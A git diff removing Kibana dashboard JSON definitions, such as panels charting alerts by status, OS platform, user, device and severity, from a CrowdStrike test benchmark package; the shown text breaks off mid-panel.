"d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "2c916dee-9123-4c38-837b-848078cac0a5" - ] - } - ], - "shape": "donut" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "aa89195e-3589-44fa-aac8-3e0d8e27de63", - "w": 11, - "x": 37, - "y": 0 - }, - "panelIndex": "aa89195e-3589-44fa-aac8-3e0d8e27de63", - "title": "Events by Tactic Name", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "b6bfb664-2c78-419f-9616-f7c4b40f580e", - "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": { - "dataType": "date", - "isBucketed": true, - "label": "@timestamp", - "operationType": "date_histogram", - "params": { - "dropPartials": false, - "includeEmptyRows": true, - "interval": "auto" - }, - "scale": "interval", - "sourceField": "@timestamp" - }, - "b6bfb664-2c78-419f-9616-f7c4b40f580e": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Activity by Event type", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "event.action" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "axisTitlesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "fittingFunction": "None", - "gridlinesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "labelsOrientation": { - "x": 0, - "yLeft": 0, - "yRight": 0 - }, - "layers": [ - { - "accessors": [ - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data", - "seriesType": "area", - "splitAccessor": "b6bfb664-2c78-419f-9616-f7c4b40f580e", - "xAccessor": "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93" - } - ], - "legend": { - "isVisible": true, - "position": "right" - }, - "preferredSeriesType": "area", - "tickLabelsVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 18, - "i": "3ae87a07-7518-4354-9eb2-2f548fcf2935", - "w": 41, - "x": 7, - "y": 17 - }, - "panelIndex": "3ae87a07-7518-4354-9eb2-2f548fcf2935", - "title": "Events over Time by Event Type", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f19ed911-f1ce-416c-9da6-42efb356bd86", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Hostname", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "host.name" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "f19ed911-f1ce-416c-9da6-42efb356bd86", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.falcon" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.falcon" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "2c916dee-9123-4c38-837b-848078cac0a5" - }, - { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c" - } - ], - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "3bba9326-103a-4cbc-9873-a303b306bf16", - "w": 21, - "x": 7, - "y": 35 - }, - "panelIndex": "3bba9326-103a-4cbc-9873-a303b306bf16", - "title": "Top Related Hosts", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "cded08fb-72d8-4fff-bd9b-ca53189f9363": { - "columnOrder": [ - "2c916dee-9123-4c38-837b-848078cac0a5", - "d11e6000-056a-4e47-add0-b0942e7bba2c" - ], - "columns": { - "2c916dee-9123-4c38-837b-848078cac0a5": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Username", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "user.name" - }, - "d11e6000-056a-4e47-add0-b0942e7bba2c": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": true - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "2c916dee-9123-4c38-837b-848078cac0a5" - }, - { - "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c" - } - ], - "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 17, - "i": "f2c81dd1-c916-4e63-8c58-53fa1e984c96", - "w": 20, - "x": 28, - "y": 35 - }, - "panelIndex": "f2c81dd1-c916-4e63-8c58-53fa1e984c96", - "title": "Top Related Users", - "type": "lens" - }, - { - "embeddableConfig": { - "description": "", - "enhancements": {} - }, - "gridData": { - "h": 17, - "i": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "w": 41, - "x": 7, - "y": 52 - }, - "panelIndex": "5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "panelRefName": "panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "title": "[Crowdstrike] Newest Falcon Incidents", - "type": "search" - } - ], - "timeRestore": false, - "title": "[Crowdstrike] Falcon Overview", - "version": 2 - }, - "coreMigrationVersion": "8.8.0", - "created_at": "2025-03-01T12:27:16.734Z", - "id": "crowdstrike-ad80a080-821b-11ee-bae0-937af575b750", - "managed": false, - "references": [ - { - "id": "logs-*", - "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80:af740c82-0b38-407b-bd61-d2d63b77b76e", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3b8281fe-18b6-4215-ac47-2fa94d17fe18:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3a6b30d6-f464-493e-8f38-1f9282906372:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "aa89195e-3589-44fa-aac8-3e0d8e27de63:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3ae87a07-7518-4354-9eb2-2f548fcf2935:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3bba9326-103a-4cbc-9873-a303b306bf16:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "3bba9326-103a-4cbc-9873-a303b306bf16:f19ed911-f1ce-416c-9da6-42efb356bd86", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "f2c81dd1-c916-4e63-8c58-53fa1e984c96:indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363", - "type": "index-pattern" - }, - { - "id": "crowdstrike-a9e7ff80-8212-11ee-bae0-937af575b750", - "name": "5faa13bd-3f89-4fa2-9f96-242cf14237a4:panel_5faa13bd-3f89-4fa2-9f96-242cf14237a4", - "type": "search" - }, - { - "id": "logs-*", - "name": "controlGroup_2f027408-9e82-4fbe-8c59-f32e933b50f0:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_3dc73766-aa88-46ff-a02d-b0e600136550:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_c94c3167-3962-4186-b809-1f2506632789:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_fa9232f2-d8fd-4087-989d-c4be652027bb:optionsListDataView", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "controlGroup_bd86c535-6911-441c-a29d-8a48759b461f:optionsListDataView", - "type": "index-pattern" - } - ], - "type": "dashboard", - "typeMigrationVersion": "10.2.0", - "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0" -} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json deleted file mode 100644 index a3d07ab674..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c.json +++ /dev/null @@ -1,2506 +0,0 @@ -{ - "attributes": { - "controlGroupInput": { - "chainingSystem": "HIERARCHICAL", - "controlStyle": "oneLine", - "ignoreParentSettingsJSON": { - "ignoreFilters": false, - "ignoreQuery": false, - "ignoreTimerange": false, - "ignoreValidations": false - }, - "panelsJSON": {}, - "showApplySelections": false - }, - "description": "Overview of the CrowdStrike Alert Logs.", - "kibanaSavedObjectMeta": { - "searchSourceJSON": { - "filter": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "optionsJSON": { - "hidePanelTitles": false, - "syncColors": false, - "syncCursor": true, - "syncTooltips": false, - "useMargins": true - }, - "panelsJSON": [ - { - "embeddableConfig": { - "enhancements": { - "dynamicActions": { - "events": [] - } - }, - "hidePanelTitles": false, - "savedVis": { - "data": { - "aggs": [], - "searchSource": { - "filter": [], - "query": { - "language": "kuery", - "query": "" - } - } - }, - "description": "", - "id": "", - "params": { - "fontSize": 12, - "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f) \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n**Alert**\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different alerts collected from the Crowdstrike Alert API.\n\n", - "openLinksInNewTab": false - }, - "title": "", - "type": "markdown", - "uiState": {} - } - }, - "gridData": { - "h": 16, - "i": "da4bfceb-5882-4577-9ead-316c338c7569", - "w": 16, - "x": 0, - "y": 0 - }, - "panelIndex": "da4bfceb-5882-4577-9ead-316c338c7569", - "title": "Table of Contents", - "type": "visualization" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-836a096e-11de-4f16-8dc1-08de3e3a2b2f", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "836a096e-11de-4f16-8dc1-08de3e3a2b2f": { - "columnOrder": [ - "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7", - "c04767a1-9e74-4057-a95a-0d1ccb016a67" - ], - "columns": { - "c04767a1-9e74-4057-a95a-0d1ccb016a67": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Alert Status", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "c04767a1-9e74-4057-a95a-0d1ccb016a67", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "crowdstrike.alert.status" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "836a096e-11de-4f16-8dc1-08de3e3a2b2f", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "c04767a1-9e74-4057-a95a-0d1ccb016a67" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "e1dfcfae-1d38-4434-b22c-847e1a2ef8d7" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 16, - "i": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb", - "w": 17, - "x": 16, - "y": 0 - }, - "panelIndex": "cf48b7df-a51b-4a21-a2f9-c4c05705b5eb", - "title": "Alert by Status [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-b4403946-8fa4-464f-b1e2-17fae6304bb5", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "b4403946-8fa4-464f-b1e2-17fae6304bb5": { - "columnOrder": [ - "8ad4264b-af2b-48aa-91a8-e4be5782a1c2", - "8e708f78-e313-4f7c-98dd-625bdc4ef202" - ], - "columns": { - "8ad4264b-af2b-48aa-91a8-e4be5782a1c2": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Host OS Platform", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "8e708f78-e313-4f7c-98dd-625bdc4ef202", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 5 - }, - "scale": "ordinal", - "sourceField": "host.os.platform" - }, - "8e708f78-e313-4f7c-98dd-625bdc4ef202": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "5c9cfcd1-2c7f-493f-86a5-002bcf501fde", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "b4403946-8fa4-464f-b1e2-17fae6304bb5", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "8e708f78-e313-4f7c-98dd-625bdc4ef202" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "8ad4264b-af2b-48aa-91a8-e4be5782a1c2" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 16, - "i": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc", - "w": 15, - "x": 33, - "y": 0 - }, - "panelIndex": "57bd2cd7-7ec5-41ae-9133-a1ec722479dc", - "title": "Alert by OS Platform [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-986a7419-3b29-4812-8f1e-8648d18ce08b", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "986a7419-3b29-4812-8f1e-8648d18ce08b": { - "columnOrder": [ - "950aa189-023a-4c68-ad46-fba8eaa6dc79", - "d59a23d4-24d0-486d-8d0d-6100463dbb0c", - "029c6079-1dc5-4444-a33a-c4590403af92" - ], - "columns": { - "029c6079-1dc5-4444-a33a-c4590403af92": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "950aa189-023a-4c68-ad46-fba8eaa6dc79": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "User ID", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "secondaryFields": [], - "size": 10 - }, - "scale": "ordinal", - "sourceField": "user.id" - }, - "d59a23d4-24d0-486d-8d0d-6100463dbb0c": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "User Name", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": false, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "user.name" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "db8d1eab-6c1e-4d8a-9efa-1f7407fc28bf", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "columns": [ - { - "columnId": "950aa189-023a-4c68-ad46-fba8eaa6dc79", - "isTransposed": false - }, - { - "columnId": "029c6079-1dc5-4444-a33a-c4590403af92", - "isTransposed": false - }, - { - "columnId": "d59a23d4-24d0-486d-8d0d-6100463dbb0c", - "isTransposed": false - } - ], - "layerId": "986a7419-3b29-4812-8f1e-8648d18ce08b", - "layerType": "data" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsDatatable" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8", - "w": 24, - "x": 0, - "y": 16 - }, - "panelIndex": "65de46f1-ebf9-4c15-8306-f3bc3390b1b8", - "title": "User with Highest Alert [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "82644959-ef2b-4640-a0ca-d45036d96764", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1": { - "columnOrder": [ - "fe77febc-cfff-4f08-8c45-2d88cce7d7e8", - "1b066652-7743-4ca9-aea2-579f2a9ddd34" - ], - "columns": { - "1b066652-7743-4ca9-aea2-579f2a9ddd34": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "fe77febc-cfff-4f08-8c45-2d88cce7d7e8": { - "customLabel": true, - "dataType": "string", - "isBucketed": true, - "label": "Device ID", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "1b066652-7743-4ca9-aea2-579f2a9ddd34", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 10 - }, - "scale": "ordinal", - "sourceField": "device.id" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "82644959-ef2b-4640-a0ca-d45036d96764", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "axisTitlesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "fittingFunction": "None", - "gridlinesVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "labelsOrientation": { - "x": 0, - "yLeft": 0, - "yRight": 0 - }, - "layers": [ - { - "accessors": [ - "1b066652-7743-4ca9-aea2-579f2a9ddd34" - ], - "layerId": "6e0f7ac1-eb8d-4a86-be2b-9d2f9d1a2dc1", - "layerType": "data", - "seriesType": "bar_stacked", - "xAccessor": "fe77febc-cfff-4f08-8c45-2d88cce7d7e8" - } - ], - "legend": { - "isVisible": true, - "position": "right", - "shouldTruncate": false, - "showSingleSeries": false - }, - "preferredSeriesType": "bar_stacked", - "tickLabelsVisibilitySettings": { - "x": true, - "yLeft": true, - "yRight": true - }, - "valueLabels": "hide" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsXY" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "aaa3ce74-8cbd-4e77-837e-cdbd42494339", - "w": 24, - "x": 24, - "y": 16 - }, - "panelIndex": "aaa3ce74-8cbd-4e77-837e-cdbd42494339", - "title": "Alert over Device [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-3a2c2235-1a9e-4db6-ac43-2f05c6775021", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": "9040575b-9449-4f08-98ae-116d26ebf28d", - "type": "index-pattern" - } - ], - "state": { - "adHocDataViews": {}, - "datasourceStates": { - "formBased": { - "layers": { - "3a2c2235-1a9e-4db6-ac43-2f05c6775021": { - "columnOrder": [ - "3adbc15a-2906-40ff-9ea6-9eef981ea411", - "342509c6-75f8-409a-81eb-7d0cd1f6af5b" - ], - "columns": { - "342509c6-75f8-409a-81eb-7d0cd1f6af5b": { - "customLabel": true, - "dataType": "number", - "isBucketed": false, - "label": "Count", - "operationType": "count", - "params": { - "emptyAsNull": false - }, - "scale": "ratio", - "sourceField": "___records___" - }, - "3adbc15a-2906-40ff-9ea6-9eef981ea411": { - "customLabel": true, - "dataType": "number", - "isBucketed": true, - "label": "Event Severity", - "operationType": "terms", - "params": { - "exclude": [], - "excludeIsRegex": false, - "include": [], - "includeIsRegex": false, - "missingBucket": false, - "orderBy": { - "columnId": "342509c6-75f8-409a-81eb-7d0cd1f6af5b", - "type": "column" - }, - "orderDirection": "desc", - "otherBucket": true, - "parentFormat": { - "id": "terms" - }, - "size": 5 - }, - "scale": "ordinal", - "sourceField": "event.severity" - } - }, - "ignoreGlobalFilters": false, - "incompleteColumns": {}, - "sampling": 1 - } - } - }, - "indexpattern": { - "layers": {} - }, - "textBased": { - "layers": {} - } - }, - "filters": [ - { - "$state": { - "store": "appState" - }, - "meta": { - "alias": null, - "disabled": false, - "field": "data_stream.dataset", - "index": "9040575b-9449-4f08-98ae-116d26ebf28d", - "key": "data_stream.dataset", - "negate": false, - "params": { - "query": "crowdstrike.alert" - }, - "type": "phrase" - }, - "query": { - "match_phrase": { - "data_stream.dataset": "crowdstrike.alert" - } - } - } - ], - "internalReferences": [], - "query": { - "language": "kuery", - "query": "" - }, - "visualization": { - "layers": [ - { - "categoryDisplay": "default", - "layerId": "3a2c2235-1a9e-4db6-ac43-2f05c6775021", - "layerType": "data", - "legendDisplay": "show", - "metrics": [ - "342509c6-75f8-409a-81eb-7d0cd1f6af5b" - ], - "nestedLegend": false, - "numberDisplay": "percent", - "primaryGroups": [ - "3adbc15a-2906-40ff-9ea6-9eef981ea411" - ], - "truncateLegend": false - } - ], - "shape": "pie" - } - }, - "title": "", - "type": "lens", - "visualizationType": "lnsPie" - }, - "enhancements": {}, - "hidePanelTitles": false - }, - "gridData": { - "h": 15, - "i": "14405add-afa0-4e3f-9efd-1f52fad51027", - "w": 24, - "x": 0, - "y": 31 - }, - "panelIndex": "14405add-afa0-4e3f-9efd-1f52fad51027", - "title": "Alert by Severity [Logs CrowdStrike]", - "type": "lens" - }, - { - "embeddableConfig": { - "attributes": { - "description": "", - "references": [ - { - "id": "logs-*", - "name": "indexpattern-datasource-layer-a6424e3b-fc6e-460e-8385-5a410a690d34", - "type": "index-pattern" - }, - { - "id": "logs-*", - "name": 